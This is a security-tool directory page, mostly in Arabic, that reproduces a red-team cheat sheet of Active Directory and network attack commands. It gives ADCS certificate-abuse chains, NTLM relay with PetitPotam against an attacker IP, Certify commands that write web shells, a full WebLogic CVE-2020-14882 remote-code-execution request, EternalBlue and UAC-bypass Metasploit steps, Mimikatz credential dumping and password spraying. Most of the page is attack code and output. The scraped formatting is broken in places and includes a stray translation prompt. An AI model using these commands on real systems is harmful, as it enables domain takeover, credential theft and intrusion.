Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
A-Red-Teamer-diaries — ملاحظات RedTeam/Pentest وتجارب تم اختبارها على عدة بنى تحتية مرتبطة بالمهام المهنية. | Kitploit
أدوات/GitHubGitHub/ihebski/a-red-teamer-diaries
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالحركة الجانبيةجمع المعلوماتما بعد الاستغلالاختبار الاختراقالتعلم والتعليمالفريق الأحمرموارد منسقة
GitHubihebski/a-red-teamer-diaries

A-Red-Teamer-diaries

1.9k315منذ 9 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ملاحظات RedTeam/Pentest وتجارب تم اختبارها على عدة بنى تحتية مرتبطة بالمهام المهنية.

عرض المستودع

مذكرات فريق أحمر

ملاحظات متاحة للعموم حول تجارب اختبار الاختراق/الاختراق الأحمر التي تم اختبارها على عدة بيئات/بنى تحتية خاضعة للتحكم، والتي تتضمن استخدام أدوات وتقنيات متنوعة يستخدمها مختبرو الاختراق وفِرق الاختراق الأحمر أثناء تقييم أمني.

  • مشروع قيد التقدم

المساهمة

نرحب بالمساهمات عبر طلبات السحب على جيتهاب.
التقدير والشكر للأشخاص الذين قاموا بالعمل الشاق.

الأهداف

  • ورقة غش لاختبار الاختراق/الفريق الأحمر تجمع مقتطفات من الأكواد والأوامر لمساعدة المختبر أثناء المهمة (توفير الوقت/البحث السريع عن أمر محدد).
  • فهم كيفية تنفيذ الهجمات
  • تدوين الملاحظات للرجوع إليها مستقبلاً

إخلاء مسؤولية

لأغراض تعليمية فقط، استخدمه على مسؤوليتك الخاصة.

سلسلة قتل الاختراق

KillChain

تخطيط الشبكة

RunFinger.py

جمع معلومات عن اسم المجال وأجهزة Windows العاملة في الشبكة.```bash bash$ cd /usr/share/Responder/tools bash$ sudo python RunFinger.py -i 192.168.1.1/24

root@kitploit:~
أو```bash
bash$ responder-RunFinger

Nbtscan

مسح شبكات IP للحصول على معلومات اسم NetBIOS.```bash bash$ sudo nbtscan -v -s : 192.168.1.0/24

root@kitploit:~
## Crackmapexec v 4.0

مسح نطاق الشبكة بناءً على معلومات SMB```bash
bash$ cme smb 192.168.1.1/24

فحص Nmap

قم بمسح جميع شبكة الجهاز واحفظ المخرجات.

  • خيارات -oA: تعني المخرجات بجميع الصيغ
  • -T4: فحص سريع```bash bash$ nmap -p 1-65535 -sV -sS -T4 -oA output target_IP
root@kitploit:~
فحص مكثف (ملاحظة موصى بها):```bash
bash$ nmap -p 1-65535 -Pn -A -oA output target_IP 

المسح مع تعداد إصدار الخدمات الجارية :

  • -sC : النصوص الافتراضية المكافئة لـ --script=default
  • -sV : الحصول على إصدار الخدمة```bash bash$ nmap -sC -sV -oA output target
root@kitploit:~
## ماسح IP الغاضب

قم بتنزيل الأداة من هذا الرابط:
[Angry IP Scanner](http://angryip.org/download/#linux)
* تغيير إعدادات التفضيلات
> اذهب إلى: التفضيلات -> المنافذ -> أضف 80,445,554,21,22 في اختيار المنفذ <br>
> اذهب إلى: التفضيلات -> العرض -> حدد الأجهزة الحية <br>
> اذهب إلى: التفضيلات -> إرسال طلب -> حددمج (UDP/TCP)

# الحركة الجانبية والاستغلال

### خدمات شهادات Active Directory
تم نسخ هذا الجزء من https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#esc1---misconfigured-certificate-templates
<br>لمزيد من التفاصيل، تحقق من: https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation

(تم اختباره في بيئة خاصة (Bloodhound ثم استغلال ESC1)
* العثور على خادم ADCS
  * `crackmapexec ldap domain.lab -u username -p password -M adcs`
  * `ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName`
* تعداد مؤسسات شهادات AD Enterprise باستخدام certutil: `certutil.exe -config - -ping`, `certutil -dump`

#### ESC1 - قوالب الشهادات التي تم تكوينها بشكل خاطئ

> يمكن لمستخدمي المجال التسجيل في قالب **VulnTemplate**، والذي يمكن استخدامه لمصادقة العميل وقد تم تعيين **ENROLLEE_SUPPLIES_SUBJECT** عليه. وهذا يسمح لأي شخص بالتسجيل في هذا القالب وتحديد اسم بديل تعسفي للموضوع (أي كمسؤول مجال). يسمح بربط هويات إضافية بشهادة تتجاوز الموضوع.

المتطلبات:
* قالب يسمح بمصادقة AD
* علامة **ENROLLEE_SUPPLIES_SUBJECT**
* [PKINIT] مصادقة العميل، تسجيل دخول البطاقة الذكية، أي غرض، أو لا يوجد EKU (استخدام المفتاح الموسع/المحسّن)

الاستغلال:
* استخدم [Certify.exe](https://github.com/GhostPack/Certify) لمعرفة ما إذا كانت هناك أي قوالب ضعيفة
    ```ps1
    Certify.exe find /vulnerable
    Certify.exe find /vulnerable /currentuser
    # أو
    PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
    # أو
    certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
    ```
* استخدم Certify أو [Certi](https://github.com/eloypgz/certi) أو [Certipy](https://github.com/ly4k/Certipy) لطلب شهادة وإضافة اسم بديل (المستخدم المراد انتحال هويته)
    ```ps1
    # طلب شهادات لحساب الجهاز عن طريق تنفيذ Certify مع الوسيطة "/machine" من موجه أوامر مرتفع.
    Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
    certi.py req 'contoso.local/[email protected]' contoso-DC01-CA -k -n --alt-name han --template UserSAN
    certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC1' -alt '[email protected]'
    ```
* استخدم OpenSSL وقم بتحويل الشهادة، لا تدخل كلمة مرور
    ```ps1
    openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
    ```
* انقل ملف cert.pfx إلى نظام الملفات للجهاز الهدف واطلب TGT للمستخدم البديل باستخدام Rubeus
    ```ps1
    Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
    ```

**تحذير**: ستظل هذه الشهادات قابلة للاستخدام حتى إذا قام المستخدم أو الكمبيوتر بإعادة تعيين كلمة مروره!

**ملاحظة**: ابحث عن قيم **EDITF_ATTRIBUTESUBJECTALTNAME2** و **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT** و **ManageCA**، و NTLM Relay إلى نقاط نهاية HTTP لـ AD CS.


#### ESC2 - قوالب الشهادات التي تم تكوينها بشكل خاطئ

المتطلبات:
* يسمح لمقدمي الطلبات بتحديد اسم بديل للموضوع (SAN) في CSR وكذلك يسمح بأي غرض EKU (2.5.29.37.0)

الاستغلال:
* العثور على القالب  ```ps1
  PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
  • اطلب شهادة مع تحديد /altname كمسؤول مجال كما في ESC1.

ESC3 - قوالب شهادات وكيل التسجيل المهيأة بشكل خاطئ

ESC3 يحدث عندما يحدد قالب الشهادة EKU وكيل طلب الشهادة (وكيل التسجيل). يمكن استخدام هذا EKU لطلب شهادات نيابة عن مستخدمين آخرين

  • اطلب شهادة بناءً على قالب الشهادة الضعيف ESC3. ```ps1 $ certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC3' [*] Saved certificate and private key to 'john.pfx'
    root@kitploit:~
  • استخدم شهادة وكيل طلب الشهادة (-pfx) لطلب شهادة نيابة عن مستخدم آخر ```ps1 $ certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
    root@kitploit:~

ESC4 - ثغرات التحكم في الوصول

تمكين علامة mspki-certificate-name-flag لقالب يسمح بالمصادقة على المجال، يسمح للمهاجمين بـ "دفع سوء تهيئة إلى قالب يؤدي إلى ثغرة ESC1".

  • البحث عن WriteProperty بالقيمة 00000000-0000-0000-0000-000000000000 باستخدام modifyCertTemplate ```ps1 python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -get-acl

    root@kitploit:~
  • أضف علامة ENROLLEE_SUPPLIES_SUBJECT (ESS) لتنفيذ ESC1 ```ps1 python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag

    Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template.

    C:>StandIn.exe --adcs --filter WebServer --ess --add

    root@kitploit:~
  • قم بتنفيذ ESC1 ثم استعادة القيمة ```ps1 python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -value 0 -property mspki-Certificate-Name-Flag

    root@kitploit:~

استخدام Certipy```ps1

overwrite the configuration to make it vulnerable to ESC1

certipy template 'corp.local/[email protected]' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -save-old

request a certificate based on the ESC4 template, just like ESC1.

certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC4' -alt '[email protected]'

restore the old configuration

certipy template 'corp.local/[email protected]' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -configuration ESC4.json

root@kitploit:~
#### ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 

> إذا تم تعيين هذه العلامة على المرجع المصدق (CA)، فإن أي طلب (بما في ذلك عندما يتم إنشاء الموضوع من Active Directory) يمكن أن يحتوي على قيم يحددها المستخدم في اسم الموضوع البديل (subject alternative name).

الاستغلال:
* استخدم [Certify.exe](https://github.com/GhostPack/Certify) للتحقق من حالة علامة **UserSpecifiedSAN** التي تشير إلى علامة `EDITF_ATTRIBUTESUBJECTALTNAME2`.
    ```ps1
    Certify.exe cas
    ```
* اطلب شهادة لقالب وأضف اسمًا بديلًا، حتى لو كان القالب `User` الافتراضي لا يسمح عادةً بتحديد أسماء بديلة.
    ```ps1
    .\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User /altname:DomAdmin
    ```

التخفيف:   
* إزالة العلامة: `certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2`


#### ESC7 - التحكم الضعيف في صلاحيات الوصول إلى المرجع المصدق (Vulnerable Certificate Authority Access Control)

الاستغلال:
* كشف المراجع المصدقة (CAs) التي تسمح للمستخدمين ذوي الامتيازات المنخفضة بصلاحيات `ManageCA` أو `Manage Certificates`.
    ```ps1
    Certify.exe find /vulnerable
    ```
* تغيير إعدادات المرجع المصدق لتمكين امتداد SAN لجميع القوالب تحت المرجع المصدق الضعيف (ESC6).
    ```ps1
    Certify.exe setconfig /enablesan /restart
    ```
* طلب الشهادة باستخدام SAN المطلوب.
    ```ps1
    Certify.exe request /template:User /altname:super.adm
    ```
* منح الموافقة إذا لزم الأمر أو قم بتعطيل شرط الموافقة.
    ```ps1
    # منح
    Certify.exe issue /id:[REQUEST ID]
    # تعطيل
    Certify.exe setconfig /removeapproval /restart
    ```

استغلال بديل من **ManageCA** إلى **RCE** على خادم ADCS:```ps1
# Get the current CDP list. Useful to find remote writable shares:
Certify.exe writefile /ca:SERVER\ca-name /readonly

# Write an aspx shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx /input:C:\Local\Path\shell.aspx

# Write the default asp shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp

# Write a php shell to a remote web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:\Local\path\shell.php

ESC8 - هجوم ترحيل AD CS

يمكن للمهاجم تشغيل وحدة تحكم بالمجال باستخدام PetitPotam لترحيل بيانات اعتماد NTLM إلى مضيف من اختياره. ثم يمكن ترحيل بيانات اعتماد NTLM الخاصة بوحدة التحكم بالمجال إلى صفحات التسجيل عبر الويب لـ Active Directory Certificate Services (AD CS)، ويمكن تسجيل شهادة لوحدة التحكم بالمجال. يمكن بعد ذلك استخدام هذه الشهادة لطلب TGT (تذكرة منح التذاكر) واختراق المجال بالكامل من خلال Pass-The-Ticket.

يتطلب Impacket PR #1101

  • الإصدار 1: NTLM Relay + Rubeus + PetitPotam ```powershell impacket> python3 ntlmrelayx.py -t http:///certsrv/certfnsh.asp -smb2support --adcs impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template VulnTemplate

    For a member server or workstation, the template would be "Computer".

    Other templates: workstation, DomainController, Machine, KerberosAuthentication

    Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam

    You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN

    git clone https://github.com/topotam/PetitPotam python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP python3 dementor.py -u -p -d python3 dementor.py 10.10.10.250 10.10.10.10 -u user1 -p Password1 -d lab.local

    Use the certificate with rubeus to request a TGT

ESC9 - بدون ملحق الأمان

المتطلبات:

  • StrongCertificateBindingEnforcement مضبوط على 1 (افتراضي) أو 0
  • تحتوي الشهادة على العلامة CT_FLAG_NO_SECURITY_EXTENSION في قيمة msPKI-Enrollment-Flag
  • تحدد الشهادة EKU للمصادقة Any Client
  • صلاحية GenericWrite على أي حساب A لاختراق أي حساب B

السيناريو

لدى [email protected] صلاحية GenericWrite على [email protected]، ونريد اختراق [email protected]. يُسمح لـ [email protected] بالتسجيل في قالب الشهادة ESC9 الذي يحدد العلامة CT_FLAG_NO_SECURITY_EXTENSION في قيمة msPKI-Enrollment-Flag.

  • احصل على تجزئة Jane باستخدام Shadow Credentials (باستخدام صلاحية GenericWrite لدينا)
    root@kitploit:~
    certipy shadow auto -username [email protected] -p Passw0rd -account Jane
    
  • غيّر userPrincipalName لـ Jane ليصبح Administrator. ⚠️ اترك الجزء @corp.local
    root@kitploit:~
    certipy account update -username [email protected] -password Passw0rd -user Jane -upn Administrator
    
  • اطلب قالب الشهادة الضعيف ESC9 من حساب Jane.
    root@kitploit:~
    certipy req -username [email protected] -hashes ... -ca corp-DC-CA -template ESC9
    # userPrincipalName in the certificate is Administrator 
    # the issued certificate contains no "object SID"
    
  • استعد userPrincipalName لـ Jane إلى [email protected].
    root@kitploit:~
    certipy account update -username [email protected] -password Passw0rd -user [email protected]
    
  • تحقق باستخدام الشهادة واستلم تجزئة NT للمستخدم [email protected].
    root@kitploit:~
    certipy auth -pfx administrator.pfx -domain corp.local
    # Add -domain <domain> to your command line since there is no domain specified in the certificate.
    

ESC11 - إعادة توجيه NTLM إلى ICPR

لا يتم فرض التشفير لطلبات ICPR وتم ضبط Request Disposition على Issue

المتطلبات:

  • sploutchy/Certipy - فرع Certipy
  • sploutchy/impacket - فرع Impacket

الاستغلال:

  1. ابحث عن Enforce Encryption for Requests: Disabled في مخرجات certipy find -u [email protected] -p 'REDACTED' -dc-ip 10.10.10.10 -stdout
  2. قم بإعداد إعادة توجيه باستخدام Impacket ntlmrelay وقم بتشغيل اتصال بها.
    root@kitploit:~
    ntlmrelayx.py -t rpc://10.10.10.10 -rpc-mode ICPR -icpr-ca-name lab-DC-CA -smb2support
    

حسابات الكمبيوتر المنشأة مسبقًا

إيجاد حسابات الكمبيوتر المنشأة مسبقًا

على سبيل المثال، سيكون لحساب الكمبيوتر DavesLaptop$ كلمة المرور daveslaptop

  • لاحظ أنه عند التعامل مع حسابات الكمبيوتر، من الذكاء إفلات $ باستخدام \.```bash impacket-smbclient /$:@

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] SMB SessionError: STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT(The account used is a computer account. Use your global user account or local user account to access this server.)

root@kitploit:~
لاحظ أن لدينا `STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT`

### تغيير كلمة المرور
يمكننا استخدام أي من هذه:
- https://github.com/fortra/impacket/blob/master/examples/changepasswd.py
- https://github.com/api0cradle/impacket/blob/a1d0cc99ff1bd4425eddc1b28add1f269ff230a6/examples/rpcchangepwd.py```bash
python3 rpcchangepwd.py <domain>/<computer account>\$:<password>@<IP> -newpass P@ssw0rd                           31s
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Password was changed successfully.

الاتصال بـ SMB باستخدام بيانات الاعتماد الجديدة```bash

impacket-smbclient /$:@ Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

Type help for list of commands

root@kitploit:~
**- المرجع : https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/**

---

### استغلال CVE-2021-42278 و CVE-2021-42287
قم بتنزيل سكريبت الاستغلال https://github.com/WazeHell/sam-the-admin```bash
bash$ python3 sam_the_admin.py "<domain_name>/<username>:<password>" -dc-ip <DC_IP>

إذا كان Active Directory معرضًا للخطر، فسنحصل على المخرجات التالية: AD exploit

المسح لـ Zerologon

ماسح SecuraBV لـ Zerologon https://github.com/SecuraBV/CVE-2020-1472
يمكننا استخدام crackmapexec لاستخراج اسم تحكم المجال (DC).```bash bash$ python3 zerologon_tester.py EXAMPLE-DC 1.2.3.4

root@kitploit:~
إذا كان الهدف ضعيفًا، فإن الماسح يُظهر المخرجات التالية:
<img src="https://raw.githubusercontent.com/ihebski/A-Red-Teamer-diaries/master/zerologon/scanner.png" alt="ماسح zerologon">
### استغلال zerologon
- يمكن أن يعيد الاستغلال تعيين كلمة مرور مسؤول المجال، يمكننا استخدام استغلال zer0dump بدلاً من ذلك https://github.com/bb00/zer0dump
- تفريغ كلمة مرور المسؤول (قم بتغيير اسم المستخدم إذا كان مستهدفًا مستخدم واحد فقط)

<img src="https://raw.githubusercontent.com/ihebski/A-Red-Teamer-diaries/master/zerologon/dump-Administrator-Password.png" alt="تفريغ NTLM">

الحصول على RCE من خلال pass-the-hash
<img src="https://raw.githubusercontent.com/ihebski/A-Red-Teamer-diaries/master/zerologon/get_RCE_psexec.png" alt="RCE">

> لقطات الشاشة المقدمة تتعلق بمختبر شخصي يستخدم لاختبار POC فقط، كن حذرًا عند تشغيل الاستغلال على DC في PROD (أثناء المهمة)

## BIGIP F5 CVE-2020-5902
تحقق مما إذا كان الهدف ضعيفًا```bash
curl -sk 'https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'

يمكننا مسح الهدف باستخدام Nuclei أو Nmap أيضًا

  • Nuclei https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/CVE-2020-5902.yaml```bash nuclei -t ~/tool/nuclei/nuclei-templates/cves/CVE-2020-5902.yaml -target https://
root@kitploit:~
إذا تم تحديد عدة مضيفين، استخدم الوسيطة -l -> -l bigip-assets.txt
* Nmap```bash
wget https://raw.githubusercontent.com/RootUp/PersonalStuff/master/http-vuln-cve2020-5902.nse
nmap -p443 {IP} --script=http-vuln-cve2020-5902.nse

BIGIP RCE

يمكننا استخدام وحدة Metasploit https://github.com/rapid7/metasploit-framework/pull/13807/commits/0417e88ff24bf05b8874c953bd91600f10186ba4

مسح Weblogic CVE-2020-14882

وحدة Nuclei```bash nuclei -t nuclei-templates/cves/CVE-2020-14882.yaml -target http://

root@kitploit:~
هذه الوحدة تفشل أحيانًا، استخدم `-proxy-url http://127.0.0.1:8080` لتوجيه حركة المرور إلى Burpsuite وتحقق.
## استغلال ثغرة Weblogic CVE-2020-14882 - RCE```bash
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: 172.16.242.134:7001
cmd: chcp 65001&&whoami&&ipconfig
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1258

_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if (cmd != null) {
    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
    weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
    res.getServletOutputStream().flush();
    res.getWriter().write("");
}executeThread.interrupt();
");
  • قم بتغيير cmd في رأس الطلب بأي أمر نظام (ويندوز/لينكس)
  • يمكن تحويل الحمولة إلى أمر curl.

المسح بحثًا عن EternalBlue ms17-010```bash

bash$ nmap -p445 --script smb-vuln-ms17-010 /24

root@kitploit:~
إذا كان الهدف ضعيفاً، فسيكون الناتج كما يلي 

Script Output<br>
Host script results:```bash
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

استغلال Eternal Blue - وحدة Metasploit (نظام Windows 7 x64 فقط)

  • ملاحظة :
    الوحدة الافتراضية التي يدعمها Metasploit تستغل فقط نظام Windows 7 x64 بت وإلا سيتعطل الهدف.```bash msf > use exploit/windows/smb/ms17_010_eternalblue msf exploit(ms17_010_eternalblue) > show targets ...targets... msf exploit(ms17_010_eternalblue) > set TARGET msf exploit(ms17_010_eternalblue) > show options ...show and set options... msf exploit(ms17_010_eternalblue) > exploit
root@kitploit:~
## Mimikatz - Metasploit

بعد الحصول على meterpreter shell، نحتاج لضمان أن جلستنا تعمل بصلاحيات **مستوى SYSTEM** لكي يعمل Mimikatz بشكل صحيح.```bash
meterpreter > getuid
Server username: WINXP-E95CE571A1\Administrator

meterpreter > getsystem
...got system (via technique 1).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

قراءة التجزئات وكلمات المرور من الذاكرة```bash

meterpreter > load mimikatz Loading extension mimikatz...success.

meterpreter > msv [+] Running as SYSTEM [*] Retrieving msv credentials msv credentials

AuthID Package Domain User Password


0;78980 NTLM WINXP-E95CE571A1 Administrator lm{ 00000000000000000000000000000000 }, ntlm{ d6eec67681a3be111b5605849505628f } 0;996 Negotiate NT AUTHORITY NETWORK SERVICE lm{ aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 } 0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO) 0;56683 NTLM n.s. (Credentials KO) 0;999 NTLM WORKGROUP WINXP-E95CE571A1$ n.s. (Credentials KO)

meterpreter > kerberos [+] Running as SYSTEM [*] Retrieving kerberos credentials kerberos credentials

AuthID Package Domain User Password


0;999 NTLM WORKGROUP WINXP-E95CE571A1$
0;997 Negotiate NT AUTHORITY LOCAL SERVICE
0;56683 NTLM
0;996 Negotiate NT AUTHORITY NETWORK SERVICE
0;78980 NTLM WINXP-E95CE571A1 Administrator SuperSecretPassword

meterpreter > mimikatz_command -f sekurlsa::searchPasswords [0] { Administrator ; WINXP-E95CE571A1 ; SuperSecretPassword }

meterpreter > mimikatz_command -f sekurlsa::logonpasswords

root@kitploit:~
## Mimikatz على Linux
في حال عدم توفر جهاز افتراضي
### الخطوة 1```bash
winetricks msasn1

خطوة 2```bash

╰─>$ wine /usr/share/windows-resources/mimikatz/Win32/mimikatz.exe 0009:err:winediag:SECUR32_initNTLMSP ntlm_auth was not found or is outdated. Make sure that ntlm_auth >= 3.0.25 is in your path. Usually, you can find it in the winbind package of your distribution.

.#####. mimikatz 2.2.0 (x86) #18362 May 13 2019 01:34:39 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo)

/ \ ## /*** Benjamin DELPY gentilkiwi ( [email protected] )

\ / ## > http://blog.gentilkiwi.com/mimikatz

'## v ##' Vincent LE TOUX ( [email protected] ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/

mimikatz #

root@kitploit:~
# تصعيد الامتيازات في ويندوز 

### JuicyPotato```bash
JuicyPotato.exe -l <PORT> -p c:\windows\system32\cmd.exe -t * 

ترحيل العملية```bash

msf > ps msf exploit(bypassuac) > migrate

root@kitploit:~
### تجاوز حماية تصعيد UAC في Windows```bash
msf > use exploit/windows/local/bypassuac
msf exploit(bypassuac) > set session 1
msf exploit(bypassuac) > exploit

Windows تصعيد تجاوز حماية UAC (In Memory Injection)```bash

msf > use exploit/windows/local/bypassuac_injection msf exploit(bypassuac_injection) > set session 1 msf exploit(bypassuac_injection) > exploit

root@kitploit:~
### Windows Escalate UAC Protection Bypass (Script Host Vulnerability)```bash
msf > use windows/local/bypassuac_vbs
msf exploit(bypassuac_vbs) > set session 1
msf exploit(bypassuac_vbs) > exploit

Windows تصعيد UAC وتنفيذ RunAs```bash

msf > use windows/local/ask msf exploit(ask) > set session 1 msf exploit(ask) > exploit

root@kitploit:~
### MS16-032 ثغرة تصعيد الامتيازات في مقبض تسجيل الدخول الثانوي  Windows 7 32 bit```bash
msf > use windows/local/ms16_032_secondary_logon_handle_privesc
msf exploit(ms16_032_secondary_logon_handle_privesc) > set session 1
msf exploit(ms16_032_secondary_logon_handle_privesc) > exploit

Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)```bash

msf exploit(ms13_053_schlamperei) >set session 1 msf exploit(ms13_053_schlamperei) >exploit

root@kitploit:~
## Crackmapexec V4.0

تعداد الهدف```
bash$ cme smb <target> 

الوصول إلى الجهاز بواسطة اسم مستخدم/كلمة مرور صالحة``` bash$ cme smb -u username -p password

root@kitploit:~
الوصول إلى الجهاز باستخدام تجزئة NTLM (إذا رأيت PWN3D، فإن تجزئة المستخدم لها صلاحيات المسؤول)```
bash$ cme smb <target> -u username -H hash

إدراج المشاركات``` bash$ cme smb -u username -p password --shares

root@kitploit:~
تعداد الجلسات النشطة```
bash$ cme smb <target> -u username -p password --sessions

تعداد المستخدمين عن طريق تخمين RID's (الافتراضي: 4000)``` bash$ cme smb -u username -p password --rid-brute

root@kitploit:~
نفّذ الأمر المحدد```
bash$ cme smb <target> -u username -p password -x 'whoami'

نفذ أمر PowerShell المحدد``` bash$ cme smb -u username -p password -X 'whoami'

root@kitploit:~
احصل على التجزئات```
bash$ cme smb <target> -u username -p password --sam

CrackMapExec ورقة الغش

التعداد الأولي```bash

crackmapexec smb

root@kitploit:~
### اختبار null/guest authentication وإدراج المشاركات```bash
crackmapexec smb targets.txt -u '' -p '' --shares

INPUT:```bash crackmapexec smb targets.txt -u 'Guest' -p '' --shares

root@kitploit:~
### سرد المستخدمين باستخدام ldap```bash
crackmapexec ldap <domain> -u '' -p '' --users

Please provide the Markdown content to translate.```bash crackmapexec ldap -u users.txt -p "" -k

root@kitploit:~
### Asreproast```bash
crackmapexec ldap <domain> -u <username> -p "" --asreproast asrep.txt

Bloodhound```bash

crackmapexec ldap -u -p --bloodhound -ns --collection All

root@kitploit:~
### تفضيلات نهج المجموعة
- https://www.thehacker.recipes/ad/movement/credentials/dumping/group-policies-preferences```bash
crackmapexec smb <domain> -u <username> -p <password> -M gpp_password

رش الاعتمادات```bash

crackmapexec smb targets.txt -u -p

root@kitploit:~
### رش كلمة المرور```bash
crackmapexec ldap <domain> -u users.txt -p <password> --continue-on-success
